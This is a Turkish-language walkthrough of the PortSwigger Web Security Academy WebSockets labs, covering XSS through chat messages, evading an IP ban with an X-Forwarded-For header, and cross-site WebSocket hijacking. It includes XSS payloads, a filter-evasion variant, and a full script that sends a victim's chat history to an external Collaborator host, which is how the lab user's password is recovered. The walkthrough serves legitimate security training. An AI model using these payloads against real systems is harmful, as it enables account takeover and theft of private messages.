PORTSWIGGER WEB SECURITY - WEBSOCKETS LAB ÇÖZÜMLERİ
WebSocket, client ile server arasında veri aktarımını sağlayan çift yönlü ve modern web uygulamalarında yaygın olarak kullanılan HTTP gibi bir protokoldür. WebSockets, kullanıcı işlemlerini gerçekleştirmek ve hassas bilgileri iletmek dahil her türlü amaç için kullanılmaktadır. Çoğu web uygulaması veri iletimi için HTTP protokolünü kullansa da WebSockets kullanan birçok modern web uygulaması mevcuttur. HTTP protokolünde iletim tek yönlü olduğu için gecikme söz konusudur ancak WebSockets bunun üstesinden gelmektedir. WebSockets çift yönlü veri iletimi yönüyle kullanışlı olsada, kullanıcılar tarafından zararlı input edilmesine, erişim kontrollerinin veya kimlik doğrulamalarının bypass edilmesine vb. birçok istenmeyen eylemin gerçekleşmesine neden olabilir.
Bu çalışmada WebSockets güvenliğinden kaynaklı zafiyetlere yönelik tüm laboratuvar çözümleri ele alınmıştır. Keyifli okumalar..
Lab 1: Manipulating WebSocket messages to exploit vulnerabilities
WebSockets’i etkileyen zafiyetlerin çoğu, WebSocket mesajlarının içeriği değiştirilerek bulunabilir ve bunlardan yararlanılabilir. Örneğin, sohbet yapılabilen bir uygulama üzerinde istemci ile sunucu arasındaki sohbet mesajlarının iletimi için WebSockets kullanıldığını düşünelim. Bir kullanıcı sohbet mesajı yazdığında, sunucuya {“message”:”Selam Arif”} şeklinde bir WebSocket mesajı gönderilir. Mesajın içeriği (yine WebSockets aracılığıyla) başka bir sohbet kullanıcısına iletildiğinde kullanıcının tarayıcısında <td>Selam Arif</td> şeklinde işlenir. Böyle bir durumda, herhangi bir filtreleme veya güvenlik söz konusu değilse, saldırgan {“message”:”<img src=1 onerror=’alert(1)’>”} şeklinde bir payload tanımlayıp WebSocket mesajını göndererek bir XSS saldırısı gerçekleştirebilir.
Bu laboratuvarda canlı sohbet yapılabilen bir Live chat sayfası vardır ve mesaj iletimi için WebSockets kullanılmaktadır. Burp Suite kullanarak gönderilen mesaj üzerinden XSS saldırısı gerçekleştireceğiz.
İlk olarak laba erişim sağlayalım. Bir ‘Live chat’ sekmesinin mevcut olduğunu göreceğiz.
Live chat sayfasında canlı sohbet yapılabilmektedir. Birkaç random mesaj send edelim ve Burp Suite aracında WebSockets history bölümünden gönderilen herhangi bir mesajı inceleyelim.
Örneğin send edilen ‘hi’ mesajını incelediğimizde sunucuya {“message”:”hi”} şeklinde bir WebSockets mesajının iletildiğini göreceğiz. Bu web uygulaması mesaj iletimi için WebSockets kullanmaktadır.
Live chat sayfasında send ettiğimiz mesajlardan bir tanesi ‘<’ dir. < karakteriyle mesaj göndermemizin sebebi bu karakterin istemci tarafında nasıl yorumlandığını görmek içindir. WebSockets history bölümünden ‘<’ mesajının < şeklinde html olarak yorumlandığı ekranda görülmektedir. Burada bir XSS tetikleyebiliriz.
Live chat sayafasında yeni bir mesaj send edip isteği burp ile yakalayalım. İstek üzerinde message parametresine <img src=1 onerror=’alert(1)’> şeklinde bir XSS payloadı tanımlayıp isteği forward edelim.
Çalıştırdığımız kod web sunucusu tarafından bir javascript komutu olarak algılanacağı için çalışacaktır ve ekranda bir pop-up uyarısı açılacaktır.
Congratulations, you solved the lab!
Lab 2: Manipulating the WebSocket handshake to exploit vulnerabilities
Bazı WebSockets güvenlik zafiyetleri yalnızca WebSocket davranışlarının değiştirilmesiyle bulunabilir ve istismar edilebilir. Bu durum genellikle, bir web uygulaması X-Forwarded-For başlığını desteklediğinde, uygulamanın oturum işleme mekanizması yanlış yapılandırıldığında veya uygulama tarafından kullanılan özel HTTP başlıkları saldırılara karşı savunmasız olduğunda ortaya çıkmaktadır.
Bu web uygulaması, X-Forwarded-For başlığını desteklemektedir. Uygulama tarafından ban yediğimiz zaman WebSocket davranışını değiştireceğiz ve istek üzerinde X-Forwarded-For başlığını tanımlayacağız. Bu şekilde tekrardan bağlantı sağlayıp XSS saldırısı gerçekleştireceğiz.
Laba erişim sağladıktan sonra Live chat sayfasında canlı sohbet yapılabilmektedir. ‘Merhaba’ şeklinde random mesaj send edelim ve Burp Suite aracında WebSockets history bölümünden gönderilen mesajı inceleyelim.
Gönderilen mesajı incelediğimizde sunucuya {“message”:”Merhaba”} şeklinde bir WebSockets mesajının iletildiğini göreceğiz. Bu web uygulaması mesaj iletimi için WebSockets kullanmaktadır.
Burada bir XSS çalıştırabilir miyiz? görelim. İstek üzerinde message parametresine <img src=1 onerror=’alert(1)’> şeklinde bir XSS payloadı tanımlayıp isteği send ettiğimizde sunucudan aldığımız yanıt ile saldırının engellendiğini ve WebSocket bağlantısının sonlandırıldığını göreceğiz. Yeniden bağlanmaya (Reconnect) çalıştığımızda ise ip adresimiz engellendiği için bağlantı sağlayamıyoruz.
NOT: Burada WebSocket bağlantısı düştüğü için başka bir istek send edemiyoruz. Farkedildiyse istek sonrasında Send butonu aktif değildir ve kullanılmamaktadır.
İp adresimizin kara listeye alındığını Live chat sayfasına geri döndüğümüzde aldığımız hata mesajıyla da anlayabiliriz. Web sayfası X-Forwarded-For başlığını desteklediği için gönderilen istek üzerinde bu başlık ile random bir ip adresi tanımlayarak bu durumu bypass edebiliriz.
Tekrardan Reconnect diyerek isteğe X-Forwarded-For: 1.1.1.1 değerini ekleyelim ve bağlantı kuralım. Bu şekilde tekrardan erişim sağlayabilmekteyiz.
Daha önce send ettiğimiz XSS payloadı çalışmamıştı. Basit bir encoding tekniği kullanarak, istek üzerinde message parametresine <img src=1 oNeRrOr=alert`1`> şeklinde bir XSS payloadı tanımlayıp isteği send ettiğimizde iletinin gönderildiğini ve yanıt aldığımızı görmüş olacağız. Bu şekilde bir XSS saldırısı gerçekleştirebilmekteyiz.
Congratulations, you solved the lab!
Lab 3: Cross-site WebSocket hijacking
Cross-site WebSocket hijacking, bir saldırganın WebSocket kullanan bir web sayfasında CSRF saldırısı gerçekleştirerek WebSocket’leri elde etmesine denir. Saldırgan bunun sonucunda, hedef kullanıcının verilerine erişim sağlayabilir ayrıcalıklı eylemler gerçekleştirebilir.
Siteler arası WebSocket ele geçirme saldırısı, WebSocket ile veri iletimi esnasında bir CSRF güvenlik zafiyeti mevcut olduğunda söz konusu olmaktadır. Saldırgan, uygulamanın WebSocket iletimini gözden geçirmeli ve CSRF’ye karşı önlem alınmış mı? belirlemelidir. Genellikle istek parametrelerinde bir csrf token bilgisinin kullanılmaması, önlem alınmadığına işaret etmektedir. Örneğin, bir WebSocket veri iletimi isteğinde, sadece session bilgisi yer alıyorsa muhtemelen CSRF’ye karşı savunmasızdır.
Bu web sayfası WebSockets kullanmaktadır ve CSRF saldırısına karşı savunmasızdır. Burp Collaborator Client aracılığıyla, zararlı bir Javascript kodu kullanılarak hedef kullanıcının sohbet geçmişini elde etmeye olanak tanıyan bir CSRF saldırısı gerçekleştirilebilir.
Laba erişim sağladıktan sonra Live chat sayfasında canlı sohbet yapılabilmektedir. ‘Merhaba’ şeklinde random mesaj send edelim. Burp Suite aracında WebSockets history bölümünden gönderilen mesajları inceleyebiliriz.
Sohbet geçmişi “READY” komutuyla sunucudan alınmaktadır. Bunu WebSockets history sekmesinde görebilmekteyiz.
Web uygulamasının CSRF saldırılarına karşı herhangi bir önlem alıp almadığını öğrenmek adına HTTP history bölümünden /chat isteğini inceleyelim. İstek üzerinde herhangi bir csrf token değeri kullanılmamaktadır ve sadece session bilgisi yer almaktadır. Bu durumda kesin olmasa da sayfanın CSRF’ye karşı savunmasız olduğuna kanaat getirilebilir. Daha sonra CSRF saldırısı için kullanacağımız Javascript kodunda, bu isteğin adresine yer vereceğimiz için chat sayfasının URL adresini kopyalayalım.
Aynı şekilde daha sonra CSRF saldırısı için kullanacağımız Javascript kodunda, ekranda görülen burp collaborator istemcisinden alınan subdomain adresine (bxc0jlmkc5dbqzzxjjjxhpr2ktqje8.burpcollaborator.net) de yer vereceğiz.
Exploit sunucusuna giderek Body input alanında, <script> var ws = new WebSocket(‘wss://https://ac771fbe1ea0b95dc02e89ed004f0020.web-security-academy.net/chat’); ws.onopen = function() { ws.send(“READY”); }; ws.onmessage = function(event) { fetch(‘https://bxc0jlmkc5dbqzzxjjjxhpr2ktqje8.burpcollaborator.net’, {method: ‘POST’, mode: ‘no-cors’, body: event.data}); }; </script> içerisinde chat sayfasının URL adresini ve burp collaborator istemcisinden alınan subdomain adresini içerecek şekilde bir Javascript kodu Store edelim.
Zararlı kodu Store ettikten sonra Exploiti görüntüle (View exploit) butonuna tıklayarak etkileşimin burp collaborator sunucusuna düşmesini sağlıyoruz. Burp Collaborator client bölümünden tüm etkileşimleri Poll now seçeneğine tıklayarak görebiliriz. Ekranda yer alan her HTTP isteği gönderilen her bir mesajı içermektedir. Sohbet geçmişini bu şekilde başarıyla elde etmiş olduk.
Exploit sunucusuna giderek exploiti kurbana teslim edelim (Deliver exploit to victim). Bu şekilde burp collaborator sunucusunda daha çok etkileşimin düştüğünü göreceğiz. HTTP isteklerini incelediğimizde her sohbet içeriğinin JSON formatında olduğu görülecektir. Ekranda görüldüğü gibi bu isteklerden bir tanesi carlos kullanıcısına ait parola bilgisini içermekte ve bazı karakterler url encoding olarak gelmektedir (örneğin boşluk %20, “ karakteri %22 şeklinde encode edilmekte). JSON formatında ki mesaj içeriğinin son kısmında yer alan 3rckxa değeri carlos kullanıcısına ait parola bilgisidir. Login panelinden carlos:3rckxa hesap bilgisiyle login olduğumuz zaman laboratuvarı çözmüş olacağız.